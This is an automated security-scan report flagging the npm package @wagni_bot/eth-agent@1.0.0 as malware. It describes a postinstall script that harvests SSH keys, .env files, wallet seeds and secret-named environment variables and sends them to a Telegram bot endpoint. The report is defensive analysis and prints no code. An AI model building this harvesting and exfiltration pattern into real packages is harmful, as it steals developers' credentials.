@wagni_bot/eth-agent@1.0.0

Unofficial eth-agent SDK

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Install-time credential and file exfiltration is confirmed. The package silently scans project, home, and SSH directories and sends sensitive data to Telegram.

Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install or any lifecycle execution of the package postinstall script
Impact
Exposure of environment secrets, SSH keys/config, wallet seeds, credentials, and host metadata from the installing machine
Mechanism
postinstall secret harvesting and Telegram exfiltration
Attack narrative
Installing @wagni_bot/eth-agent@1.0.0 runs postinstall.js. That script collects host metadata, scans the project directory, the user's home directory, and ~/.ssh for credential-like filenames, reads matching file contents, extracts sensitive environment variables, and posts the collected data to a Telegram bot endpoint.
Rationale
Source inspection confirms unconsented install-time secret harvesting and external exfiltration in postinstall.js. This is concrete malicious behavior, not package-aligned SDK functionality.
Evidence
package.jsonpostinstall.jsindex.jsprocess.cwd()os.homedir()~/.ssh
Network endpoints1
api.telegram.org/bot<redacted>/sendMessage

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • package.json defines install-time hook: postinstall runs node postinstall.js
  • postinstall.js sends install host/user/cwd/platform data to Telegram via https.request
  • postinstall.js scans process.cwd(), os.homedir(), and ~/.ssh for .env, keys, wallet, seed, mnemonic, secret files
  • postinstall.js reads matching files and sends file contents to Telegram in chunks
  • postinstall.js filters process.env for PRIVATE/SECRET/TOKEN/API_KEY/PASSWORD/MNEMONIC/SEED/WALLET/AWS and exfiltrates values
Evidence against
  • index.js is inert and only exports an empty object
  • No dynamic code execution, native binary loading, or destructive file writes observed
